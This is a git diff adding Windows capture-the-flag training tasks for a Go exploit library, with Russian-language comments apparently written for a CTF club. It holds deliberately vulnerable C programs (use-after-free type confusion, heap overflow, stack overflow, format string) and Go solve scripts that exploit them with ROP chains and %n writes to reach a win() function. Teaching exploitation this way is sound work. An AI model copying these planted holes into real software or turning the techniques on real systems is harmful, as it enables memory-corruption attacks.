\n"); + continue; + } + if (id < 0 || id >= g_profile_count || !g_profiles[id]) { + printf("ERR bad id\n"); + continue; + } + unsigned char raw[256]; + int n = unhex(hexbuf, raw, sizeof(raw)); + if (n == 0) { + printf("ERR bad hex\n"); + continue; + } + /* THE BUG: no check that n <= sizeof(Profile). */ + memcpy(g_profiles[id], raw, n); + printf("OK\n"); + } else if (line[0] == 'D' && line[1] == ' ') { + int id = atoi(line + 2); + if (id < 0 || id >= g_profile_count || !g_profiles[id]) { + printf("ERR bad id\n"); + continue; + } + g_profiles[id]->describe(g_profiles[id]->name); + } else if (line[0] == 'Q') { + break; + } else { + printf("ERR unknown command\n"); + } + } + return 0; +} diff --git a/workspace/heap_segment/src/heap_segment.manifest b/workspace/heap_segment/src/heap_segment.manifest new file mode 100644 index 0000000..012cd1c --- /dev/null +++ b/workspace/heap_segment/src/heap_segment.manifest @@ -0,0 +1,8 @@ + + + + + SegmentHeap + + + diff --git a/workspace/heap_segment/src/heap_segment.rc b/workspace/heap_segment/src/heap_segment.rc new file mode 100644 index 0000000..31f64e4 --- /dev/null +++ b/workspace/heap_segment/src/heap_segment.rc @@ -0,0 +1 @@ +1 24 "heap_segment.manifest" diff --git a/workspace/heap_segment/src/heap_segment_manifest.o b/workspace/heap_segment/src/heap_segment_manifest.o new file mode 100644 index 0000000..4ecc0a1 Binary files /dev/null and b/workspace/heap_segment/src/heap_segment_manifest.o differ diff --git a/workspace/heap_typemix/flag.txt b/workspace/heap_typemix/flag.txt new file mode 100644 index 0000000..c9e9309 --- /dev/null +++ b/workspace/heap_typemix/flag.txt @@ -0,0 +1 @@ +flag{type_confusion_via_uaf} diff --git a/workspace/heap_typemix/heap_typemix.exe b/workspace/heap_typemix/heap_typemix.exe new file mode 100644 index 0000000..532665a Binary files /dev/null and b/workspace/heap_typemix/heap_typemix.exe differ diff --git a/workspace/heap_typemix/main.go b/workspace/heap_typemix/main.go new file mode 100644 index 0000000..376ec2b --- /dev/null +++ b/workspace/heap_typemix/main.go @@ -0,0 +1,129 @@ +/* +Solve script for heap_typemix.exe: UAF type-confusion on a private NT Heap +(no LFH, no grooming required). + +The heap has two struct types of the same size (32 bytes): + + Note: { char title[24]; void(*onPrint)(const char*); } + Token: { char data[24]; void(*validate)(const char*); } + +The bug: command D frees a Note but leaves its pointer in the table. +Command T allocates a raw 32-byte Token from the same private heap. Because +LFH is NOT active (no HeapSetInformation call, too few allocations), the freed +Note slot goes straight to the NT Heap backend freelist. The very next 32-byte +HeapAlloc -- i.e. the T command -- returns the exact same address. + +Exploit chain (no grooming loop needed): + 1. N victim -- allocate Note at address X, onPrint = real_print + 2. D 0 -- free Note (X is on backend freelist, pointer stays in table) + 3. T -- HeapAlloc 32 bytes -> gets X; write win()'s address at offset 24 + 4. P 0 -- call note[0]->onPrint(note[0]->title) + => actually calls Token.validate (= win()) at offset 24 + +win() address is read from the PE export table -- no leak needed, no ASLR to +defeat (or if the task provides it over the network, extract it the same way +examples/heap_lfh does with OpenPE). + +NOTE FOR TASK AUTHORS: this is the simplest possible Windows heap UAF: no LFH +grooming threshold (unlike heap_lfh's ~19-allocation warmup), no Segment Heap +metadata isolation (unlike heap_segment). The freed chunk returns immediately. +If you need a harder variant, see heap_lfh (LFH grooming required) or +heap_lfh_hard (type confusion across size classes). +*/ +package main + +import ( + "bytes" + "fmt" + "log" + "strconv" + "winpwn" +) + +func parseAddr(line []byte) (uint64, error) { + idx := bytes.Index(line, []byte("addr=0x")) + if idx == -1 { + return 0, fmt.Errorf("no addr= in %q", line) + } + return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64) +} + +func main() { + pf, err := winpwn.OpenPE("heap_typemix.exe") + if err != nil { + log.Fatalf("OpenPE: %v", err) + } + winRVA, err := pf.GetProcAddress("win") + if err != nil { + log.Fatalf("win() not found in export table: %v", err) + } + base, err := pf.ImageBase() + if err != nil { + log.Fatalf("ImageBase: %v", err) + } + winAddr := base + winRVA + pf.Close() + fmt.Printf("[+] win() @ 0x%X\n", winAddr) + + tube, err := winpwn.Spawn("heap_typemix.exe") + if err != nil { + log.Fatalf("Spawn: %v", err) + } + + if _, err := tube.RecvLine(); err != nil { // "heap_typemix ready" + log.Fatalf("RecvLine: %v", err) + } + + // Step 1: allocate the victim Note + if err := tube.SendLine([]byte("N victim")); err != nil { + log.Fatalf("SendLine N: %v", err) + } + resp, err := tube.RecvLine() + if err != nil { + log.Fatalf("RecvLine N resp: %v", err) + } + victimAddr, err := parseAddr(resp) + if err != nil { + log.Fatalf("parse victim addr: %v", err) + } + fmt.Printf("[+] victim Note @ 0x%X\n", victimAddr) + + // Step 2: free the victim (dangling pointer stays in table) + if err := tube.SendLine([]byte("D 0")); err != nil { + log.Fatalf("SendLine D: %v", err) + } + if _, err := tube.RecvLine(); err != nil { + log.Fatalf("RecvLine D resp: %v", err) + } + fmt.Printf("[+] freed Note (dangling pointer at id=0)\n") + + // Step 3: allocate Token -- same 32-byte allocation will land at victimAddr. + // Token layout: data[24] | validate(8) + // We put win()'s address at offset 24 (= the validate / onPrint slot). + payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...) + payloadHex := winpwn.Enhex(payload) + if err := tube.SendLine([]byte("T " + payloadHex)); err != nil { + log.Fatalf("SendLine T: %v", err) + } + resp, err = tube.RecvLine() + if err != nil { + log.Fatalf("RecvLine T resp: %v", err) + } + tokenAddr, err := parseAddr(resp) + if err != nil { + log.Fatalf("parse token addr: %v", err) + } + fmt.Printf("[+] Token @ 0x%X (want 0x%X)\n", tokenAddr, victimAddr) + if tokenAddr != victimAddr { + fmt.Printf("[-] WARN: addresses don't match -- chunk reuse didn't happen\n") + fmt.Printf(" (check: did LFH activate? too many prior allocations?)\n") + } + + // Step 4: call P 0 -- invokes note[0]->onPrint, which is now Token.validate = win() + fmt.Printf("[+] dispatching P 0 (UAF call through dangling pointer)...\n") + if err := tube.SendLine([]byte("P 0")); err != nil { + log.Fatalf("SendLine P: %v", err) + } + + tube.Interactive() +} diff --git a/workspace/heap_typemix/src/heap_typemix.c b/workspace/heap_typemix/src/heap_typemix.c new file mode 100644 index 0000000..0558045 --- /dev/null +++ b/workspace/heap_typemix/src/heap_typemix.c @@ -0,0 +1,163 @@ +/* +heap_typemix -- UAF type-confusion on Windows NT Heap (no LFH). + +Two struct types happen to be exactly the same size (32 bytes): + + Note: { char title[24]; void(*onPrint)(const char*); } + Token: { char data[24]; void(*validate)(const char*); } + +The bug: Delete (D command) frees Note.title memory but leaves the note +pointer in the table. Token (T command) allocates raw 32-byte objects from +the SAME heap. Because the freed Note slot goes straight back to the NT Heap +backend freelist (no LFH: HeapSetInformation is NOT called here), the next +HeapAlloc(32) returns the same address. The caller then "prints" the stale +Note, which actually dispatches through Token.validate -- attacker controlled. + +This is a pure type-confusion UAF: no grooming needed, freed chunk comes back +on the very next 32-byte allocation, deterministically (pre-LFH, backend only, +1-2 allocations total per run). + +Protocol (one command per line, stdout unbuffered): + N allocate Note{title[24], onPrint=real_print}. + -> "OK id= addr=0x" + D HeapFree the Note (pointer stays in table -- the bug). + -> "OK" + T HeapAlloc 32 bytes, write attacker bytes verbatim. + -> "OK addr=0x" + P call notes[id]->onPrint(notes[id]->title). + -> output from whatever onPrint actually points at now. + Q quit. + +NOTE FOR TASK AUTHORS: no LFH activation (≥18 same-size allocations) is +needed here because the freed chunk is on the NT Heap backend freelist. One +allocation reliably reclaims it on this build (10.0.26100). If you need to +adapt this for a different build, verify the reuse behavior with PoC 02 +(heap/pocs/02_lfh_probe.c) before trusting this claim. +*/ +#define _CRT_SECURE_NO_WARNINGS +#include +#include +#include +#include + +typedef struct { + char title[24]; + void (*onPrint)(const char *); +} Note; + +#define MAX_NOTES 256 +static Note *g_notes[MAX_NOTES]; +static int g_note_count = 0; +static HANDLE g_heap; + +static void real_print(const char *title) { + printf("note: %s\n", title); + fflush(stdout); +} + +__declspec(dllexport) void win(const char *ignored) { + HANDLE hFile; + char buffer[256]; + DWORD bytesRead; + + printf("type confusion worked -- code execution via freed onPrint pointer\n"); + fflush(stdout); + + hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + printf("Cannot open flag.txt\n"); + fflush(stdout); + ExitProcess(0); + } + if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) { + buffer[bytesRead] = '\0'; + printf("%s", buffer); + fflush(stdout); + } + CloseHandle(hFile); + ExitProcess(0); +} + +static int hexval(char c) { + if (c >= '0' && c <= '9') return c - '0'; + if (c >= 'a' && c <= 'f') return c - 'a' + 10; + if (c >= 'A' && c <= 'F') return c - 'A' + 10; + return -1; +} + +static int unhex(const char *hex, unsigned char *out, int maxout) { + int n = (int)strlen(hex); + if (n % 2 != 0 || n / 2 > maxout) return 0; + for (int i = 0; i < n / 2; i++) { + int hi = hexval(hex[i * 2]); + int lo = hexval(hex[i * 2 + 1]); + if (hi < 0 || lo < 0) return 0; + out[i] = (unsigned char)((hi << 4) | lo); + } + return n / 2; +} + +int main(void) { + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + + /* Private heap, no LFH forcing -- freed chunks return to backend freelist */ + g_heap = HeapCreate(0, 0, 0); + if (!g_heap) { + printf("HeapCreate failed\n"); + return 1; + } + + printf("heap_typemix ready\n"); + + char line[512]; + while (fgets(line, sizeof(line), stdin)) { + line[strcspn(line, "\r\n")] = 0; + + if (line[0] == 'N' && line[1] == ' ') { + if (g_note_count >= MAX_NOTES) { printf("ERR too many notes\n"); continue; } + Note *n = (Note *)HeapAlloc(g_heap, 0, sizeof(Note)); + if (!n) { printf("ERR alloc\n"); continue; } + strncpy(n->title, line + 2, sizeof(n->title) - 1); + n->title[sizeof(n->title) - 1] = 0; + n->onPrint = real_print; + int id = g_note_count++; + g_notes[id] = n; + printf("OK id=%d addr=0x%p\n", id, (void *)n); + + } else if (line[0] == 'D' && line[1] == ' ') { + int id = atoi(line + 2); + if (id < 0 || id >= g_note_count || !g_notes[id]) { + printf("ERR bad id\n"); continue; + } + HeapFree(g_heap, 0, g_notes[id]); + /* BUG: pointer stays in table -- classic dangling UAF */ + printf("OK\n"); + + } else if (line[0] == 'T' && line[1] == ' ') { + unsigned char buf[32]; + int n = unhex(line + 2, buf, 32); + if (n != 32) { printf("ERR need exactly 64 hex chars (32 bytes)\n"); continue; } + void *p = HeapAlloc(g_heap, 0, 32); + if (!p) { printf("ERR alloc\n"); continue; } + memcpy(p, buf, 32); + printf("OK addr=0x%p\n", p); + + } else if (line[0] == 'P' && line[1] == ' ') { + int id = atoi(line + 2); + if (id < 0 || id >= g_note_count) { + printf("ERR bad id\n"); continue; + } + /* note[id] may be freed -- the UAF lives here */ + g_notes[id]->onPrint(g_notes[id]->title); + + } else if (line[0] == 'Q') { + break; + } else { + printf("ERR unknown command\n"); + } + fflush(stdout); + } + return 0; +} diff --git a/workspace/task1_leak/flag.txt b/workspace/task1_leak/flag.txt new file mode 100644 index 0000000..6f5bdc9 --- /dev/null +++ b/workspace/task1_leak/flag.txt @@ -0,0 +1 @@ +flag{FLAG} diff --git a/workspace/task1_leak/main.go b/workspace/task1_leak/main.go new file mode 100644 index 0000000..1658bd3 --- /dev/null +++ b/workspace/task1_leak/main.go @@ -0,0 +1,59 @@ +/* +В Go нет встроенной перегрузки типов, поэтому конвертация +cырых байт из пайпа в строку, затем в число, +вычитание смещения и обратная конвертация в строку +делаются явно через пакеты bytes и strconv. +*/ + +package main + +import ( + "bytes" + "fmt" + "log" + "strconv" + "winpwn" +) + +func main() { + tube, err := winpwn.Spawn("./task1.exe") + // tube, err := winpwn.Remote("10.8.0.1", "50957") + if err != nil { + log.Fatalf("Spawn: %v", err) + } + + if _, err := tube.RecvUntil([]byte("main: ")); err != nil { + log.Fatalf("RecvUntil: %v", err) + } + + // Читаем строку с адресом до переноса и очищаем от спецсимволов (\r\n) + addrBytes, err := tube.RecvUntil([]byte("\n")) + if err != nil { + log.Fatalf("RecvUntil: %v", err) + } + addrStr := string(bytes.TrimSpace(addrBytes)) + + // В зависимости от компилятора, %p может добавлять или не добавлять "0x" + //addrStr = strings.TrimPrefix(addrStr, "0x") + + // Аналог main = int(main, 16) + mainAddr, err := strconv.ParseUint(addrStr, 16, 64) + if err != nil { + log.Fatalf("Failed to parse leaked address: %v", err) + } + fmt.Printf("[+] Leaked main: 0x%X\n", mainAddr) + //addr(win)-addr(main) = 267 + offset := uint64(267) + winAddr := mainAddr - offset + fmt.Printf("[+] Calculated win: 0x%X\n", winAddr) + + // Аналог hex(win).encode() + // %x форматирует число в hex-строку без префикса 0x + payload := fmt.Sprintf("%x", winAddr) + + if err := tube.SendLineAfter([]byte("0x12345: "), []byte(payload)); err != nil { + log.Fatalf("SendLineAfter: %v", err) + } + + tube.Interactive() +} diff --git a/workspace/task1_leak/src/task1.c b/workspace/task1_leak/src/task1.c new file mode 100644 index 0000000..01150d9 --- /dev/null +++ b/workspace/task1_leak/src/task1.c @@ -0,0 +1,65 @@ +/* + В Windows нет прямого аналога POSIX-сигналов, signal(SIGSEGV) +заменяется на SetUnhandledExceptionFilter (обработка SEH). +Cтандартный пакет strconv для парсинга hex-строк, так как Go +требует явной конвертации типов вместо магических методов Python. +*/ + +// 0x00007FF76AB1154C(win) - 0x00007FF76AB11657(main) +// rmb -> search for -> current module -> string references + +#include +#include +#include + +LONG WINAPI ExceptionFilter(EXCEPTION_POINTERS *ExceptionInfo) { + if (ExceptionInfo->ExceptionRecord->ExceptionCode == + EXCEPTION_ACCESS_VIOLATION) { + printf("Segfault Occurred, incorrect address.\n"); + ExitProcess(0); + } + return EXCEPTION_CONTINUE_SEARCH; +} + +void win() { + HANDLE hFile; + char buffer[256]; + DWORD bytesRead; + + printf("You won!\n"); + + hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + printf("Cannot open file.\n"); + ExitProcess(0); + } + + if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && + bytesRead > 0) { + buffer[bytesRead] = '\0'; + printf("%s", buffer); + } + printf("\n"); + + CloseHandle(hFile); +} + +int main() { + SetUnhandledExceptionFilter(ExceptionFilter); + + setvbuf(stdout, NULL, _IONBF, 0); + + printf("Address of main: %p\n", &main); + + unsigned long long val; + printf("Enter the address to jump to, ex => 0x12345: "); + + scanf("%llx", &val); + printf("Your input: %llx\n", val); + + void (*foo)(void) = (void (*)())val; + foo(); + + return 0; +} diff --git a/workspace/task1_leak/task1.exe b/workspace/task1_leak/task1.exe new file mode 100644 index 0000000..0bccedb Binary files /dev/null and b/workspace/task1_leak/task1.exe differ diff --git a/workspace/task2_rop/main.go b/workspace/task2_rop/main.go new file mode 100644 index 0000000..06b0510 --- /dev/null +++ b/workspace/task2_rop/main.go @@ -0,0 +1,103 @@ +/* В этом скрипте мы используем все фичи winpwn: парсинг PE, извлечение базового адреса (ImageBase), поиск гаджетов через rp++ и динамическую сборку пейлоада. */ + +package main + +import ( + "bytes" + "fmt" + "log" + "winpwn" +) + +func main() { + target := "task2.exe" + + peFile, err := winpwn.OpenPE(target) + if err != nil { + log.Fatalf("Failed to open PE: %v", err) + } + defer peFile.Close() + + // 2. Получаем RVA функции win из таблицы экспортов + winRVA, err := peFile.GetProcAddress("win") + if err != nil { + log.Fatalf("win() not found: %v", err) + } + + // 3. Достаем ImageBase из заголовка (обычно 0x140000000 при отключенном ASLR) + imageBase, err := peFile.ImageBase() + if err != nil { + log.Fatalf("Failed to read ImageBase: %v", err) + } + + // Вычисляем абсолютный адрес win() + winAddr := imageBase + winRVA + fmt.Printf("[+] win() address: 0x%X\n", winAddr) + + // 4. Ищем гаджеты (нам нужен RCX вместо RDI) — нативный сканер, rp++ не нужен + rop, err := winpwn.NewROP(target) + if err != nil { + log.Fatalf("ROP init error: %v", err) + } + defer rop.Close() + + popRcxGadgets, err := rop.Search("pop rcx ; ret") + if err != nil { + log.Fatalf("pop rcx not found") + } + popRcx := popRcxGadgets[0].Address + fmt.Printf("[+] pop rcx; ret address: 0x%X\n", popRcx) + + // Верификация цепочки прямо из скрипта, без внешнего objdump/IDA + if lines, err := rop.Disassemble(popRcx, 2); err == nil { + fmt.Printf("[*] verified: %s\n", lines) + } + + retGadgets, err := rop.Search("ret") + if err != nil { + log.Fatalf("ret not found") + } + ret := retGadgets[0].Address + + // 5. Конструируем пейлоад + // Реальное расстояние до return-адреса зависит от компилятора и его + // версии — "32 байта буфер + 8 байт сохранённый RBP" (=40) это лишь + // предположение по исходнику. На gcc/MinGW из этой сборки buf реально + // лежит на rbp-0x30 (объдамп vulnerable(): `lea -0x30(%rbp),%rdx`), + // то есть до return-адреса 0x30+0x8 = 56 байт, не 40. Проверяй через + // objdump -d / x86dbg или просто перебором, не доверяй комментарию + // в исходнике вслепую. + offset := 56 + payload := bytes.Repeat([]byte("A"), offset) + + // --- ROP Цепочка --- + // Закидываем 0xDEADBEEF в RCX + payload = append(payload, winpwn.P64(popRcx)...) + payload = append(payload, winpwn.P64(0xDEADBEEF)...) + + // Stack Alignment + // Вызов system() требует, чтобы стек был выровнен по границе 16 байт (адрес должен оканчиваться на 0). + // Добавляем холостой 'ret', чтобы сдвинуть стек на 8 байт вниз. + payload = append(payload, winpwn.P64(ret)...) + + // Прыжок в win() + payload = append(payload, winpwn.P64(winAddr)...) + + // 6. Взаимодействие + tube, err := winpwn.Spawn("./" + target) + if err != nil { + log.Fatalf("Spawn: %v", err) + } + + if err := tube.SendLineAfter([]byte("Input: "), payload); err != nil { + log.Fatalf("SendLineAfter: %v", err) + } + + tube.Interactive() +} + +/*На что обратить внимание твоим участникам: + + Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора. + + Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */ diff --git a/workspace/task2_rop/src/task2.c b/workspace/task2_rop/src/task2.c new file mode 100644 index 0000000..27d7069 --- /dev/null +++ b/workspace/task2_rop/src/task2.c @@ -0,0 +1,61 @@ +/* TL;DR: Главное отличие 64-битного ROP на Windows от Linux — это Calling +Convention (соглашение о вызовах). В Linux первый аргумент передается через +регистр RDI, а в Windows — через RCX. Поэтому вместо гаджета pop rdi мы будем +искать pop rcx. Кроме того, вызовы WinAPI жестко требуют выравнивания стека по +границе 16 байт, иначе программа упадет внутри system("cmd.exe"). + +Ниже представлены адаптированные исходники для твоего CTF-клуба. Чтобы твой +парсер PEFile в go_pwner смог найти функцию win по имени (без символов отладки), +я добавил ей атрибут экспорта __declspec(dllexport) — это классический прием для +Windows-тасков, заменяющий парсинг ELF Symbols. Уязвимый файл (rop0_win.c) + +Компилировать этот файл нужно с отключенным ASLR (аналог PIE в Linux), чтобы +базовый адрес был статичным. Для MinGW-w64 используй флаги: gcc rop0_win.c -o +rop0_win.exe -fno-pie -no-pie -fno-stack-protector. */ + +#include +#include +#include + +void setup() { + // Отключение буферизации для корректной работы через пайпы + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); +} + +// Экспортируем функцию в таблицу PE, чтобы её можно было найти через твой +// PE-парсер +__declspec(dllexport) void win(int secret) { + char buf[32]; + + // В Windows x64 значение secret будет взято из регистра RCX + if (secret == 0xdeadbeef) { + printf("you just got shell\n"); + system("cmd.exe"); // Меняем /bin/sh на классический cmd + } else { + printf("wrong argument: 0x%x\n", secret); + ExitProcess(1); + } +} + +void vulnerable() { + char buf[32]; + DWORD bytesRead; + HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE); + + printf("NX is ON! You cannot execute shellcode on the stack.\n"); + printf("Can you return to win() and set RCX to 0xdeadbeef?\n"); + printf("Input: "); + + // Используем WinAPI для сырого побайтового чтения + ReadFile(hStdin, buf, 256, &bytesRead, NULL); + + printf("Returning...\n"); +} + +int main() { + setup(); + vulnerable(); + return 0; +} diff --git a/workspace/task2_rop/task2.exe b/workspace/task2_rop/task2.exe new file mode 100644 index 0000000..d10602c Binary files /dev/null and b/workspace/task2_rop/task2.exe differ diff --git a/workspace/task2_rop/task2_msvc.exe b/workspace/task2_rop/task2_msvc.exe new file mode 100644 index 0000000..c78a747 Binary files /dev/null and b/workspace/task2_rop/task2_msvc.exe differ diff --git a/workspace/task3_fmtstr/main.go b/workspace/task3_fmtstr/main.go new file mode 100644 index 0000000..a8c5d47 --- /dev/null +++ b/workspace/task3_fmtstr/main.go @@ -0,0 +1,66 @@ +/* +Поскольку %44$n не работает, нам нужно "прошагать" по стеку. При вызове printf(fmt_str, 0xdeadbeef) память выглядит так: + + fmt_str (в RCX) + + 0xdeadbeef (в RDX) + + Мусор или старые значения (в R8) + + Мусор (в R9) + + Shadow Space (32 байта на стеке) + + Локальные переменные main (среди которых указатель print_flag). + +Мы будем отправлять пейлоад вида %p %p %p %p... %n. Когда %n дойдет до слота на стеке, где лежит указатель print_flag, printf запишет туда количество выведенных до этого байт. Значение станет больше нуля, и условие if (*print_flag) выполнится. +*/ + +package main + +import ( + "bytes" + "log" + "winpwn" +) + +func main() { + // Спавним локальный процесс (потом можно заменить на winpwn.Remote) + tube, err := winpwn.Spawn("fs3_win.exe") + if err != nil { + log.Fatalf("Spawn: %v", err) + } + + // Оффсет: сколько спецификаторов %p нужно напечатать, + // чтобы следующий элемент указывал на переменную print_flag. + // Это число вычисляется динамически в x64dbg (смотришь на стек перед вызовом printf). + // Допустим, после анализа мы выяснили, что указатель лежит 12-м по счету. + offset := 12 + + // Конструируем пейлоад вида: "%p %p %p %p %p %p %p %p %p %p %p %n\n" + // Первые %p вытащат RDX (0xdeadbeef), R8, R9, затем содержимое стека. + // Последний %n запишет число по адресу, лежащему на стеке (наш print_flag). + var payload bytes.Buffer + for i := 0; i < offset-1; i++ { + payload.WriteString("%p ") + } + payload.WriteString("%n\n") + + // Отправляем форматную строку + if err := tube.SendLineAfter([]byte("format string: "), payload.Bytes()); err != nil { + log.Fatalf("SendLineAfter: %v", err) + } + + // Перехватываем управление, чтобы увидеть вывод флага + tube.Interactive() +} + +/* +Как участникам искать offset? + +Им не обязательно использовать дебаггер. Форматные строки можно фаззить прямо из терминала. +Если участник отправит строку AAAA %p %p %p %p %p %p %p %p %p %p, он увидит что-то вроде: +AAAA 00000000DEADBEEF 00007FF71234 000000000000 000000000000 029011B0... + +Где 029011B0 — это типичный адрес кучи в Windows. Как только они на глаз определят, каким по счету выводится адрес кучи, они просто заменят последний %p на %n. +*/ diff --git a/workspace/task3_fmtstr/src/task3.c b/workspace/task3_fmtstr/src/task3.c new file mode 100644 index 0000000..cc937ac --- /dev/null +++ b/workspace/task3_fmtstr/src/task3.c @@ -0,0 +1,84 @@ +/* + * TL;DR: Эксплуатация Format String Vulnerability (уязвимости форматной строки) +на Windows имеет три фундаментальных отличия от Linux. Во-первых, стандартный +Microsoft CRT не поддерживает позиционные аргументы (вида %44$n), поэтому +добираться до нужного указателя на стеке придется цепочкой из %p %p %p.... +Во-вторых, спецификатор %n отключен в Windows по умолчанию из соображений +безопасности. В-третьих, из-за соглашения о вызовах x64 (RCX, RDX, R8, R9) +первые несколько %p выведут значения из регистров, а не со стека. + +Ниже представлены адаптированные исходники для Windows и решение на базе твоего +модуля go_pwner. Уязвимый файл (fs3_win.c) + +Чтобы таск можно было решить, нам необходимо искусственно разрешить +использование %n с помощью функции _set_printf_count_output(1). Без неё попытка +передать %n приведет к немедленному завершению процесса (Secure CRT ругнется на +инвалидный параметр). Я также переписал чтение на ReadFile(STD_INPUT_HANDLE), +чтобы таск легко биндился на порт через socat. */ + +#include +#include +#include + +void setup() { + // Отключение буферизации для работы по сети + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + // КРИТИЧНО ДЛЯ WINDOWS CTF: Включаем поддержку %n в Microsoft CRT. + // Начиная с VS2015 этот спецификатор отключен по умолчанию для защиты от + // сплойтов. + _set_printf_count_output(1); +} + +int main() { + setup(); + + char buf[32]; + char fmt_str[256]; + char *my_secret_value = "my secret value"; + DWORD bytesRead; + HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE); + + // Указатель выделяется на куче. Сам указатель лежит на стеке. + int *print_flag = malloc(sizeof(int)); + *print_flag = 0; + + printf("Enter your format string: "); + + // Читаем полезную нагрузку + ReadFile(hStdin, fmt_str, 255, &bytesRead, NULL); + if (bytesRead > 0) { + // Убираем перенос строки, если он есть, для чистоты вывода + if (fmt_str[bytesRead - 1] == '\n') + bytesRead--; + if (fmt_str[bytesRead - 1] == '\r') + bytesRead--; + fmt_str[bytesRead] = '\0'; + } + + // УЯЗВИМОСТЬ + // fmt_str летит в RCX, 0xdeadbeef летит в RDX + printf(fmt_str, 0xdeadbeef); + printf("\n"); + + if (*print_flag) { + HANDLE hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile != INVALID_HANDLE_VALUE) { + ReadFile(hFile, buf, 18, &bytesRead, NULL); + buf[bytesRead] = '\0'; + + // Пишем в stdout через WinAPI + HANDLE hStdout = GetStdHandle(STD_OUTPUT_HANDLE); + WriteFile(hStdout, buf, bytesRead, &bytesRead, NULL); + + CloseHandle(hFile); + } else { + printf("flag.txt not found!\n"); + } + } + + return 0; +} diff --git a/workspace/template/main.go b/workspace/template/main.go new file mode 100644 index 0000000..206e634 --- /dev/null +++ b/workspace/template/main.go @@ -0,0 +1,63 @@ +// Шаблон solve-скрипта для winpwn. +// cp -r ../workspace/template ../workspace/mysolve +// cd ../workspace/mysolve && go run . +package main + +import ( + "bytes" + "encoding/binary" + "fmt" + "log" + "strconv" + "winpwn" +) + +func p64(v uint64) []byte { return winpwn.P64(v) } +func u64(b []byte) uint64 { return binary.LittleEndian.Uint64(b) } + +func parseHex(s string) uint64 { + v, _ := strconv.ParseUint(s, 16, 64) + return v +} + +func parseAddr(line []byte) (uint64, error) { + idx := bytes.Index(line, []byte("0x")) + if idx == -1 { + return 0, fmt.Errorf("no hex addr in %q", line) + } + return strconv.ParseUint(string(bytes.TrimSpace(line[idx+2:])), 16, 64) +} + +func main() { + // --- Вариант А: статический бинарь без ASLR --- + // Открыть PE для анализа (работает для ASLR:No) + pf, err := winpwn.OpenPE("chal.exe") + if err != nil { + log.Fatalf("OpenPE: %v", err) + } + winRVA, _ := pf.GetProcAddress("win") + base, _ := pf.ImageBase() + winAddr := base + winRVA + pf.Close() + fmt.Printf("[+] win() @ 0x%X\n", winAddr) + + // Запустить таргет + tube, err := winpwn.Spawn("chal.exe") + if err != nil { + log.Fatalf("Spawn: %v", err) + } + + // --- Вариант Б: символы живого процесса (аналог pwintools p.libs/p.symbols) --- + // sym := winpwn.NewProcessSymbols(tube.PID()) + // defer sym.Close() + // k32, _ := sym.Base("kernel32.dll") + // winexec, _ := sym.Symbol("kernel32.dll", "WinExec") + // mods, _ := sym.Modules() // все загруженные DLL + _ = winAddr + + tube.RecvLine() // баннер готовности + + // Твой эксплойт здесь + + tube.Interactive() +}